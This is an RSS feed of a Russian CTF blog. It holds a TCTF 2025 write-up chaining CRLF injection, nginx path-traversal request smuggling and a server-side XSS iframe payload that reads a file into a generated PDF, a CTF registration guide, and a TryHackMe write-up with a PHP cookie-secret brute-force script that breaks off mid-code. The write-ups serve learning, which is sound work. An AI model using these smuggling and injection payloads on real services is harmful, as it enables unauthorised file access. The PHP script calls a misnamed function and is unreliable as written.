<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Ilya</title><generator>teletype.in</generator><description><![CDATA[Ilya]]></description><image><url>https://img2.teletype.in/files/1e/74/1e74525b-937d-4ef8-8a62-e5d35945ef40.png</url><title>Ilya</title><link>https://teletype.in/@collapsz</link></image><link>https://teletype.in/@collapsz?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/collapsz?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/collapsz?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Thu, 17 Sep 2026 21:08:37 GMT</pubDate><lastBuildDate>Thu, 17 Sep 2026 21:08:37 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@collapsz/zRMUUliR-h7</guid><link>https://teletype.in/@collapsz/zRMUUliR-h7?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz</link><comments>https://teletype.in/@collapsz/zRMUUliR-h7?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz#comments</comments><dc:creator>collapsz</dc:creator><title>Капибардак | TCTF 2025</title><pubDate>Wed, 23 Apr 2025 08:41:16 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/38/ba/38badfcb-7e54-4005-b34a-186b12a67ae9.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/3f/41/3f419fe3-16af-43a5-acb4-d169dff5145d.png"></img>@fefuctf @collapsz]]></description><content:encoded><![CDATA[
  <p id="h6yi">@fefuctf @collapsz</p>
  <hr />
  <h3 id="kAqj">Вступление</h3>
  <p id="ma8d">Всем привет! Сегодня пробежимся по решению очень интересного таска с <code>TCTF 2025</code> с весьма интересной цепочкой атаки. </p>
  <figure id="oDap" class="m_column">
    <img src="https://img4.teletype.in/files/3f/41/3f419fe3-16af-43a5-acb4-d169dff5145d.png" width="1821" />
    <figcaption>task</figcaption>
  </figure>
  <h3 id="2Ts7">Анализ приложения</h3>
  <p id="jbZ0">Приложение представляет собой сервис для работы с авиабилетами. Можно пройти электронную регистрацию, зарегистрироваться в бизнес-зону и подать заявку на возврат билета:</p>
  <figure id="B4AC" class="m_column">
    <img src="https://img4.teletype.in/files/75/58/75581407-0557-496b-a7c3-a3d5923f7dee.png" width="2443" />
    <figcaption>Application</figcaption>
  </figure>
  <p id="SEpI">При проведении электронной регистрации приложение возвращает нам PDF с нашим билетом:</p>
  <figure id="Tj08" class="m_column">
    <img src="https://img1.teletype.in/files/0d/42/0d427507-14e0-487d-bc57-2e0f8154280b.png" width="2444" />
    <figcaption>ticket</figcaption>
  </figure>
  <p id="aOfS">При регистрации в бизнес-зал возвращает идентификатор бронирования </p>
  <figure id="5Zxi" class="m_original">
    <img src="https://img2.teletype.in/files/16/21/1621529b-2049-483d-8d15-2d7fefb32024.png" width="610" />
    <figcaption>lounge</figcaption>
  </figure>
  <p id="nZcF">И при возврате билета – шаблонный ответ</p>
  <figure id="YHKu" class="m_column">
    <img src="https://img4.teletype.in/files/b7/40/b740b6e6-553d-4ecc-a9f5-74cfa68a1520.png" width="1911" />
    <figcaption>refund</figcaption>
  </figure>
  <figure id="ARpW" class="m_column">
    <img src="https://img4.teletype.in/files/b6/71/b671c426-9f54-4a22-bc24-cfc22383d896.png" width="1838" />
    <figcaption>response</figcaption>
  </figure>
  <p id="ozio">В целом на этом все. Пару векторов на этом этапе мы уже успели прикинуть – <code>Server Side XSS via Dynamic PDF</code> и <code>XXE via DOCX upload</code>. Приступим к изучению  кода.</p>
  <h3 id="fsCQ">Анализ исходников</h3>
  <p id="orbI">Приложение представлено четырьмя сервисами – <code>backend, printer, nginx, internal-balancer</code></p>
  <figure id="6BKj" class="m_column">
    <img src="https://img3.teletype.in/files/2c/e1/2ce1baac-254a-4ece-81c8-4dee520e4d8e.png" width="3588" />
    <figcaption>servises</figcaption>
  </figure>
  <p id="e3F4">В корне лежит <code>/repair-code</code> – его-то нам и нужно достать по легенде задания. Первым делом посмотрим на потенциал для развития <code>XXE</code>. За это отвечает функция <code>process_booking()</code> из <code>backend/main.py</code></p>
  <p id="YKFk">Ее код:</p>
  <figure id="12Rw" class="m_column">
    <img src="https://img4.teletype.in/files/30/42/30429a41-86bf-4792-9102-cc3429e3f9d5.png" width="1890" />
    <figcaption>process_booking</figcaption>
  </figure>
  <p id="IlVR">Из кода видно, что приложение использует библиотеку <code>python-docx</code>, которая по умолчанию отключает использование внешних сущностей, что режет нам потенциал развития <code>XXE</code>.</p>
  <p id="6o3G">Идем дальше – за бронирование бизнес-зала отвечает <code>business_lounge()</code>:</p>
  <figure id="nRuY" class="m_column">
    <img src="https://img1.teletype.in/files/c1/69/c169a892-c68c-4ba6-aa8d-a0d50154cb02.png" width="1444" />
    <figcaption>business_lounge</figcaption>
  </figure>
  <p id="sFsU">Тоже ничего интересного. Последняя остановка – <code>boarding_pass</code>:</p>
  <figure id="l5Lf" class="m_column">
    <img src="https://img4.teletype.in/files/f2/97/f2979049-a4df-43cb-a995-c5cacd468a45.png" width="1742" />
    <figcaption>boarding_pass</figcaption>
  </figure>
  <p id="2rmA">Здесь уже интереснее. И пользовательский ввод, и обращение к внутреннему ресурсу. Учитывая, что наш ввод попадает на PDF, можно продолжить думать в сторону <code>Server-Side XSS</code>. Однако шаблон пдфки вполне себе успешно экранирует получаемые данные: </p>
  <figure id="w2NQ" class="m_column">
    <img src="https://img1.teletype.in/files/82/c1/82c1cc5c-b326-4755-bd0c-39f84210e952.png" width="1358" />
    <figcaption>ticket.tmpl</figcaption>
  </figure>
  <p id="InrI">В <code>handlebars</code> шаблонах <code>{{ }}</code> используются как обработчики для экранированного ввода, а <code>{{{ }}}</code> – для неэкранированного. Однако в самом низу можно увидеть наличие <strong>кастомного</strong> обработчика <code>trace</code>: </p>
  <figure id="AUAV" class="m_column">
    <img src="https://img1.teletype.in/files/c0/3d/c03d8f3f-08a6-4bb8-bd49-8a4a49fd35eb.png" width="1208" />
    <figcaption>trace</figcaption>
  </figure>
  <p id="hLtV">В <code>pdf.js</code> можем увидеть реализацию этого кастомного обработчика:</p>
  <figure id="5gFs" class="m_column">
    <img src="https://img3.teletype.in/files/20/ad/20ad31ce-be45-4098-b18b-8a9ad0a8c24d.png" width="1206" />
    <figcaption>trace</figcaption>
  </figure>
  <p id="xLBd">Сама же функция генерации <code>generateBoardingPass</code> импортируется в <code>server.js </code></p>
  <figure id="ayI7" class="m_column">
    <img src="https://img2.teletype.in/files/d5/95/d595a57d-bf8a-42c5-88f3-d2f5b4531947.png" width="1672" />
    <figcaption>generateBoardingPass</figcaption>
  </figure>
  <p id="8Zz5">Сам <code>server.js</code></p>
  <figure id="P2Gg" class="m_column">
    <img src="https://img2.teletype.in/files/19/fb/19fb3a55-a695-4919-88b8-8bc601708cbb.png" width="1640" />
    <figcaption>server.js</figcaption>
  </figure>
  <p id="6mZz">Анализируя код, можно придти к выводу, что сервер принимает <code>boardingPassData</code> и использует эти данные при генерации тикета, вызывая функцию <code>generateBoardingPass()</code> , при этом в генерации участвует кастомный обработчик <code>trace</code> – рассмотрим его чуть подробнее. </p>
  <p id="uX81"></p>
  <p id="P8GS"><code>server.js</code> принимает заголовок <code>x-trace-id</code> и передает его в обработчик. Далее выполняется проверка условий – если значение заголовка имеет тип <code>string</code> длиной 36 символов, выполняется <code>return</code> <strong>БЕЗ ЭКРАНИРОВАНИЯ</strong> – и этот ввод попадает в наш итоговый PDF. Если заголовка нет либо он не удовлетворяет условиям – генерируется <code>uuid</code>. </p>
  <p id="vjhz">Как мы помним, в <code>main.py</code> при генерации тикета заголовок <code>x-trace-id</code> устанавливается явно с использованием библиотеки <code>requests</code> – здесь мы бессильны. Значит чтобы получить ввод без экранирования, нужно отправить запрос на <code>printer</code> в обход <code>backend</code>. Но как, если <code>api</code> закрыты и сервисы доступны только во внутренней подсети, а единственный интерфейс взаимодействия с ней – <code>nginx</code>? Пришло время посмотреть на его конфигурацию. </p>
  <p id="NBpq">Сам <code>nginx.conf</code> перенаправляет запросы на внутренний балансировщик</p>
  <figure id="HuNQ" class="m_column">
    <img src="https://img2.teletype.in/files/df/19/df1989e1-fe0f-4b39-82d5-c148b129fdfe.png" width="888" />
    <figcaption>nginx.conf</figcaption>
  </figure>
  <p id="USpO">В свою очередь балансировщик уже руководит общением между сервисами:</p>
  <figure id="6H1U" class="m_column">
    <img src="https://img4.teletype.in/files/7c/1f/7c1f1666-3934-492f-b000-427a14892786.png" width="1462" />
    <figcaption>internal-balancer</figcaption>
  </figure>
  <p id="m1gD">Выходит, нам нужно заслать запрос на <code>printer/generate</code>, не обращаясь при этом к <code>backend</code> и не имея доступа к внутренней сети сервисов. Уязвимость здесь кроется в том, как nginx обрабатывает запросы на API. </p>
  <figure id="bAmg" class="m_column">
    <img src="https://img2.teletype.in/files/d2/49/d24980a2-e62c-4d97-8498-6414f3b79c4f.png" width="864" />
    <figcaption>nginx</figcaption>
  </figure>
  <p id="9C8c">Эндпоинт, который вводит пользователь, напрямую попадает в URL на <code>internal-balancer</code>. Однако что нам мешает провернуть такой фокус:</p>
  <p id="XXeS"><code>https:///t-bedlam-d0dw3v3n.spbctf.org/api/../generate</code></p>
  <p id="MQRx">При парсинге запроса nginx отделит <code>$uri</code> и направит его на <code>internal-balancer</code> </p>
  <p id="CEbC"><a href="http://internal-balancer/api/../generate" target="_blank"><code>http://internal-balancer/../generate</code></a></p>
  <p id="cxvX">При таком раскладе наш запрос напрямую попадет в <code>printer</code>, ведь роут <code>generate</code> сразу проксируется туда. Осталось лишь передать данные с заголовком <code>x-trace-id</code> – как нам это сделать? </p>
  <p id="45WG">Здесь на помощь приходит атака под названием <code>CRLF Injection</code>. Мы уже можем передавать спецсимволы в <code>$uri</code>, но что нам мешает передать туда спецсимволы возврата каретки и newline – <code>\n \r</code>? Да ничего =) </p>
  <p id="3KyI">При помощи этой инъекции мы проводим атаку <code>http smuggling</code> – контрабандой засылаем запрос на внутренний сервис в обход бекенда. </p>
  <p id="WIol">Составляем желаемый запрос с указанием <code>traceid</code> – <code>string</code> и 36 символов длиной:</p>
  <pre id="fPiN">POST /api/../generate HTTP/1.0
Host: printer
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
X-Trace-Id: 123456-123456-123456-123456-123456-1

passenger=collapsz z&amp;flight_number=1&amp;date=1&amp;seat=1&amp;from=1&amp;to=1&amp;departure=1&amp;arrival=1&amp;gate=1&amp;terminal=1</pre>
  <p id="5EpC">Далее нам необходимо заслать этот запрос через <code>$uri</code> в nginx, для этого дважды кодируем этот запрос в URL, чтобы через два хопа наш запрос все еще был функциональным, получим следующее:</p>
  <pre id="qqKN">POST%2520%252Fapi%252F%252E%252E%252Fgenerate%2520HTTP%252F1%252E0%250AHost%253A%2520printer%250AContent%252DLength%253A%2520101%250AContent%252DType%253A%2520application%252Fx%252Dwww%252Dform%252Durlencoded%250AX%252DTrace%252DId%253A%2520%253Ciframe%2520src%253D%252Frepair%255Fcode%2520height%253D500%253E%250A%250Apassenger%253DJohn%2520Dowe%2526flight%255Fnumber%253D1%2526date%253D1%2526seat%253D1%2526from%253D1%2526to%253D1%2526departure%253D1%2526arrival%253D1%2526gate%253D1%2526terminal%253D1</pre>
  <p id="BFV5">И в самом конце запроса добавим легитимный:</p>
  <pre id="hp9W">GET /generate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0</pre>
  <p id="RvPi">Итого наш пакет выглядит как-то так: </p>
  <pre id="02ck">POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0AHost%3A%20printer%0AContent-Length%3A%20101%0AContent-Type%3A%20application/x-www-form-urlencoded%0AX-Trace-Id%3A%20%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%0A%0Apassenger%3DJohn%2BDowe%26flight_number%3D1%26date%3D1%26seat%3D1%26from%3D1%26to%3D1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0</pre>
  <p id="920D">Обращаемся к странице: </p>
  <figure id="JLDb" class="m_column">
    <img src="https://img2.teletype.in/files/95/af/95af834d-ca3b-4d23-8a59-9b04144dfb9c.png" width="2838" />
    <figcaption>request</figcaption>
  </figure>
  <p id="NZCw">Подменяем содержимое запроса на то, что получили на предыдущем этапе и получаем какой-то PDF документ:</p>
  <figure id="pb0O" class="m_column">
    <img src="https://img3.teletype.in/files/a3/e9/a3e93ff2-0812-4c31-a02e-fa52f8346503.png" width="2902" />
    <figcaption>Smuggling</figcaption>
  </figure>
  <p id="Aoxk">Открываем PDF и видим, что X-Trace-Id там именно тот, который мы указали в своем запросе! Таким образом мы нашли способ, как повлиять на содержимое переменной, которая целиком генерировалась на бекенде, отправив контрабандный запрос на <code>printer</code>. </p>
  <figure id="JFdP" class="m_original">
    <img src="https://img4.teletype.in/files/3f/73/3f7334fd-bf01-4ec5-a28f-ba02370f4646.png" width="711" />
    <figcaption>PDF</figcaption>
  </figure>
  <blockquote id="39j0">Такой трюк оказался возможен в связи с тем, что при парсинге нашего HTTP запроса nginx передал весь эндпоинт, идущий после /api на internal-balancer$uri. Далее при парсинге запроса сервер выполняет URL-декодирование и наш запрос рападается на два самостоятельных, один из которых будет обращаться к внутреннему ресурсу и, находясь в этой внутренней сети, без особых проблем его достигнет</blockquote>
  <figure id="TxRp" class="m_column">
    <img src="https://img3.teletype.in/files/e1/fe/e1fe3590-eee2-42dd-a559-6232c893d9fa.png" width="4092" />
    <figcaption>smuggling</figcaption>
  </figure>
  <p id="fEw5">Осталось лишь найти способ достать требуемый файл. Для этого докрутим ту самую <code>Server-Side XSS</code>, поможет нам в этом элемент <code>iframe</code>.</p>
  <p id="djGG">Готовим запрос с модифицированным <code>X-Trace-Id: &lt;iframe src=/repair_code onerror=12&gt;</code></p>
  <pre id="mYZt">POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0AHost%3A%20printer%0AContent-Length%3A%20101%0AContent-Type%3A%20application/x-www-form-urlencoded%0AX-Trace-Id%3a%20%3ciframe%20src%3d%2frepair_code%20onerror%3d12%3e%0a%0apassenger%3dJohn%2BDowe%26flight_number%3D1%26date%3D1%26seat%3D1%26from%3D1%26to%3D1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0</pre>
  <p id="qLYs">Доступ к файлику мы получили, однако видим лишь его часть:</p>
  <figure id="W9FK" class="m_column">
    <img src="https://img3.teletype.in/files/ab/01/ab01f1ef-a4ff-401f-ba5a-a9366788aed5.png" width="902" />
    <figcaption>/repair_codes</figcaption>
  </figure>
  <p id="4snf">Победить это можно, например, увеличив width до 1000: </p>
  <pre id="ou3i">POST /api%2F%2E%2E%2Fgenerate HTTP/1.0
Host: printer
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
X-Trace-Id: &lt;iframe src=/repair_code width=1000&gt;

passenger=John+Dowe&amp;flight_number=1&amp;date=1&amp;seat=1&amp;from=1&amp;to=1&amp;departure=1&amp;arrival=1&amp;gate=1&amp;terminal=1</pre>
  <p id="LuvL">Итоговый запрос:</p>
  <pre id="EszQ">POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0aHost%3a%20printer%0aContent-Length%3a%20101%0aContent-Type%3a%20application%2fx-www-form-urlencoded%0aX-Trace-Id%3a%20%3ciframe%20src%3d%2frepair_code%20width%3d1000%3e%0a%0apassenger%3dJohn%2bDowe%26flight_number%3d1%26date%3d1%26seat%3d1%26from%3d1%26to%3d1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0
</pre>
  <p id="Wviw">Скачиваем PDF, открываем и видим там искомый файл: </p>
  <figure id="SFWO" class="m_column">
    <img src="https://img1.teletype.in/files/4d/6d/4d6d3b33-1350-45b6-80d9-a5eafeb66b2b.png" width="1514" />
    <figcaption>instructions</figcaption>
  </figure>
  <p id="mvBZ">Отправляем полученный код на <code>/repair.html</code> </p>
  <figure id="pO69" class="m_column">
    <img src="https://img1.teletype.in/files/c3/7a/c37a1de6-b300-499b-bcc0-e83d391cc96f.png" width="1505" />
    <figcaption>flag</figcaption>
  </figure>
  <hr />
  <p id="0gxN">Таким образом, выстроилась следующая цепочка: </p>
  <p id="QUR2"><code>CRLF Injection -&gt; HTTP Smuggling -&gt; Server-Side XSS via Dynamic PDF</code></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@collapsz/6rNPuLLz5tm</guid><link>https://teletype.in/@collapsz/6rNPuLLz5tm?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz</link><comments>https://teletype.in/@collapsz/6rNPuLLz5tm?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz#comments</comments><dc:creator>collapsz</dc:creator><title>Регистрация RDG CTF</title><pubDate>Fri, 28 Mar 2025 10:04:55 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/79/82/79825639-1c6a-4fd8-b888-c2d9df64a91b.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/23/e9/23e968d4-2bb8-498d-866a-1e2002128566.png"></img>Привет! Мы написали небольшую инструкцию, чтобы вам было проще справиться с регистрацией на нашей платформе =)]]></description><content:encoded><![CDATA[
  <p id="e2tS">Привет! Мы написали небольшую инструкцию, чтобы вам было проще справиться с регистрацией на нашей платформе =) </p>
  <p id="dvtb">1. Двигаем на <a href="https://rdg.dvfu.ru" target="_blank">https://rdg.dvfu.ru</a> и находим страничку с регистрацией</p>
  <figure id="MUqg" class="m_column">
    <img src="https://img3.teletype.in/files/23/e9/23e968d4-2bb8-498d-866a-1e2002128566.png" width="2832" />
    <figcaption>Шаг 1</figcaption>
  </figure>
  <p id="1KFw">2. Создаем учетку</p>
  <figure id="ORBm" class="m_column">
    <img src="https://img2.teletype.in/files/1d/02/1d0208ef-ac39-455e-bf18-92225eb597a2.png" width="2850" />
    <figcaption>Шаг 2</figcaption>
  </figure>
  <p id="zxX6">3. Если вы капитан команды, отправляемся во вкладку &quot;Команда&quot;. Если вы не являетесь капитаном команды, можете сразу перейти к пункту 5</p>
  <figure id="jif5" class="m_column">
    <img src="https://img4.teletype.in/files/7b/90/7b903b86-3571-4826-af7d-a644f1c47b87.png" width="2838" />
    <figcaption>Шаг 3</figcaption>
  </figure>
  <p id="wOoH">4. Cоздаем команду. (!!!Используйте то название, которое указывали при регистрации команды в Яндекс Форме). После этого копируем и рассылаем код приглашения участникам вашей команды  </p>
  <figure id="Xyvc" class="m_column">
    <img src="https://img3.teletype.in/files/e5/47/e54768a6-016c-47d2-8d91-85a5b66ead2c.png" width="2858" />
    <figcaption>Шаг 4</figcaption>
  </figure>
  <p id="eNEL">5. Если вы не капитан – тыкаем присоединиться и вставляем код команды, полученный ранее от капитана</p>
  <figure id="uMfj" class="m_column">
    <img src="https://img2.teletype.in/files/de/a5/dea5f721-0256-4549-937b-c82dedde97c5.png" width="972" />
    <figcaption>Шаг 5</figcaption>
  </figure>
  <p id="iMrG">6. Далее отправляемся во вкладку игры, выбираем свой зачет и присоединяемся, выбрав ту команду, которую вы зарегистрировали для участия</p>
  <figure id="ivGN" class="m_column">
    <img src="https://img3.teletype.in/files/ad/c2/adc23dcb-350d-4ccc-94d7-fc8682a642eb.png" width="2832" />
    <figcaption>Шаг 6 </figcaption>
  </figure>
  <figure id="4Ssc" class="m_column">
    <img src="https://img1.teletype.in/files/4e/d4/4ed40a82-9121-421a-bb51-98e14540fd5e.png" width="2704" />
    <figcaption>Шаг 6</figcaption>
  </figure>
  <p id="whWx">7. Ждем открытия платформы и появления заданий! </p>
  <p id="ArZt"></p>
  <p id="7eIg">Так же обязательно поделитесь со своей командой ссылкой на наш канал и чат, если они туда еще не вступили: </p>
  <p id="Rk7A"><a href="https://t.me/RDGCTF" target="_blank">https://t.me/RDGCTF</a> – канал</p>
  <p id="6Xpi"><a href="https://t.me/+1T4ledKtHVxjYzMy" target="_blank">https://t.me/+1T4ledKtHVxjYzMy</a> – чат</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@collapsz/W8GSOmqfzgk</guid><link>https://teletype.in/@collapsz/W8GSOmqfzgk?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz</link><comments>https://teletype.in/@collapsz/W8GSOmqfzgk?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=collapsz#comments</comments><dc:creator>collapsz</dc:creator><title>Crypto Failures</title><pubDate>Thu, 13 Mar 2025 11:12:47 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/d3/16/d316aa17-fc24-4e5c-b563-d3c80e3157e8.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/d0/a5/d0a5d7c3-b065-457c-b329-07f3db0067ba.png"></img>@fefuctf @collapsz]]></description><content:encoded><![CDATA[
  <p id="wuzu">@fefuctf @collapsz</p>
  <hr />
  <h2 id="9hqQ">Введение</h2>
  <p id="qpsz">Всем привет!</p>
  <p id="Nuq4">Сегодня пробежимся по одной интересной комнате, в которой веб-технологии и криптография тесно взаимосвязаны, а время работы итогового эксплоита стало причиной одной веселой истории:D Сегодня препарируем комнату <a href="https://tryhackme.com/room/cryptofailures" target="_blank"><strong>Crypto Failures</strong></a>.</p>
  <figure id="80OD" class="m_column">
    <img src="https://img2.teletype.in/files/5e/3e/5e3ed325-2f4f-4996-993b-d3185552ee6f.png" width="2738" />
    <figcaption>room title</figcaption>
  </figure>
  <h2 id="ud3i">Решение</h2>
  <p id="GjD0">Заносим IP-адрес машины в /etc/hosts</p>
  <pre id="bR7P">┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:20:47]
└─[130] echo &#x27;10.10.0.83 crypto.thm&#x27; | sudo tee -a /etc/hosts
10.10.0.83 crypto.thm</pre>
  <p id="0vcy">Сканирование показало классическую ситуацию: открыты порты 22 и 80:</p>
  <pre id="be1D">┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:21:47]
└─[130] nmap -A crypto.thm -oN nmap/crypto
# Nmap 7.94SVN scan initiated Thu Mar 13 14:45:09 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -T5 -oN ./nmpa/crypto 10.10.0.83
Warning: 10.10.0.83 giving up on port because retransmission cap hit (2).
Nmap scan report for crypto.thm (10.10.0.83)
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:2c:43:78:0c:d3:13:5b:8d:83:df:63:cf:53:61:91 (ECDSA)
|_  256 45:e1:3c:eb:a6:2d:d7:c6:bb:43:24:7e:02:e9:11:39 (ED25519)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
|_http-title: Did not follow redirect to /
|_http-server-header: Apache/2.4.59 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre>
  <p id="Hjai">На веб-интерфейсе сначала получаем куку:</p>
  <figure id="P42p" class="m_column">
    <img src="https://img2.teletype.in/files/96/33/96336aae-0084-4cc1-b1d3-8293d94960d4.png" width="3616" />
    <figcaption>set-cookie</figcaption>
  </figure>
  <p id="uEGw">Затем получаем информацию о некоем .bak файлике:</p>
  <figure id="De2H" class="m_column">
    <img src="https://img3.teletype.in/files/25/f6/25f65e8d-cf50-4dba-9dc3-6f4db780f1d9.png" width="3622" />
    <figcaption>.bak hint</figcaption>
  </figure>
  <p id="R3g8">Шустренько его находим:</p>
  <pre id="9Uaa">┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:26:43]
└─[0] ffuf -u &#x27;http://crypto.thm/FUZZ.bak&#x27; -w /usr/share/wordlists/dirb/common.txt

        /&#x27;___\  /&#x27;___\           /&#x27;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://crypto.thm/FUZZ.bak
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htpasswd               [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 186ms]
.htaccess               [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 585ms]
.hta                    [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 1583ms]
index.php               [Status: 200, Size: 1979, Words: 282, Lines: 96, Duration: 394ms]</pre>
  <p id="bFpT">Забираем файл себе и приступаем к его изучению. <strong>That&#x27;s where it becomes intetesting</strong>:</p>
  <pre id="kSAI">&lt;?php

$target_url = &quot;http://crypto.thm/&quot;;

$charset = &#x27;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&amp;*)(_-=+&#x27;;
$user_agent = str_repeat(&quot;A&quot;, 256);
$known_prefix = &quot;guest:&quot; . $user_agent . &quot;:&quot;;
$try = substr($known_prefix, -8);

function get_secure_cookie($user_agent) {
    global $target_url;

    $req = stream_req_create([
        &quot;http&quot; =&gt; [
            &quot;method&quot; =&gt; &quot;GET&quot;,
            &quot;header&quot; =&gt;
                &quot;Host: crypto.thm\r\n&quot; .
                &quot;User-Agent: $user_agent\r\n&quot; .
                &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n&quot; .
                &quot;Accept-Language: en-US,en;q=0.5\r\n&quot; .
                &quot;Accept-Encoding: gzip, deflate, br\r\n&quot; .
                &quot;Connection: close\r\n&quot; .
                &quot;Upgrade-Insecure-Requests: 1\r\n&quot;
        ]
    ]);

    $response = file_get_contents($target_url, false, $req);
    foreach ($http_response_header as $header) {
        if (stripos($header, &quot;Set-Cookie: secure_cookie=&quot;) !== false) {
            preg_match(&#x27;/secure_cookie=([^;]+)/&#x27;, $header, $matches);
            
            if (!isset($matches[1])) {
                return null;
            }

            $decoded_cookie = urldecode($matches[1]);

            if (preg_match(&#x27;/%[0-9A-Fa-f]{2}/&#x27;, $decoded_cookie)) {
                die(&quot;URL-encoded characters detected in secure_cookie!\n&quot;);
            }

            return $decoded_cookie;
        }
    }
    return null;
}

$found_text = &quot;&quot;;
while (true) {
    echo &quot;\nCurrent key: {$found_text}\n&quot;;

    $secure_cookie = get_secure_cookie($user_agent);
    $user_agent = str_repeat(&quot;A&quot;, strlen($user_agent) + 7);
    if (!$secure_cookie) {
        die(&quot;Failed to retrieve secure_cookie!\n&quot;);
    }

    echo &quot;Retrieved (Decoded) secure_cookie: $secure_cookie\n&quot;;

    $salt = substr($secure_cookie, 0, 2);

    $found_char = null;
    foreach (str_split($charset) as $char) {
        $temp = substr($try, 1) . $char;
        print($temp . &quot;\n&quot;);

        $hashed_test = crypt($temp, $salt);
        if (str_contains($secure_cookie, $hashed_test)) {
            echo &quot;Found character: $char\n&quot;;
            $found_text .= $char;
            $try = $temp;
            echo $try . &quot;\n&quot;;
            echo $hashed_test . &quot;\n&quot;;
            break;
        }
    }
}

?&gt;</pre>
  <p id="kX3m">При первом посещении страницы, как мы помним, сервер заботливо предложил нам куки <code>user=guest</code> для доступа к странице и какую-то secure_cookie:</p>
  <pre id="FHvr">Set-Cookie: secure_cookie=qq5hn2VBZEMdgqqkB468YMXfp.qqoj2B7OQMgdsqqWi9cv8mJAggqqkl5tVY%2FltFkqq9wt1xPcj5BEqqLjjlsMM1cHQqqXQf8PVifDFsqqTXCTbFFbL52qqK%2FVJW2K1GqkqqkFkWEDB2%2FUcqqmMuIPR1mGoIqq8T7%2Fvk3EW4wqqZiFNGHbRxwIqq0Widqh42bLMqq7IVzir.wQ2UqqZhaTr%2F3mFw.qqx2vu2WhHPz6qqZuPcehu0zegqqGAPfN..4xTQqq7iyKmdDR3O.; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/
Set-Cookie: user=guest; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/</pre>
  <p id="My2Z">И в <code>index.php.bak</code> видим алгоритм его генерации. Нам же, по всей видимости, предстоит попасть под админом. Приступим к анализу кода:</p>
  <pre id="zc72">&lt;?php
include(&#x27;config.php&#x27;);</pre>
  <p id="Mmh4">В config.php, по всей видимости, содержатся ключи и секреты, доступа к которым у нас нет. Посмотрим, что сможем сделать без них. </p>
  <p id="qlBc">Первой функцией объявляется generate_cookie:</p>
  <pre id="mDHo">function generate_cookie($user,$ENC_SECRET_KEY) {
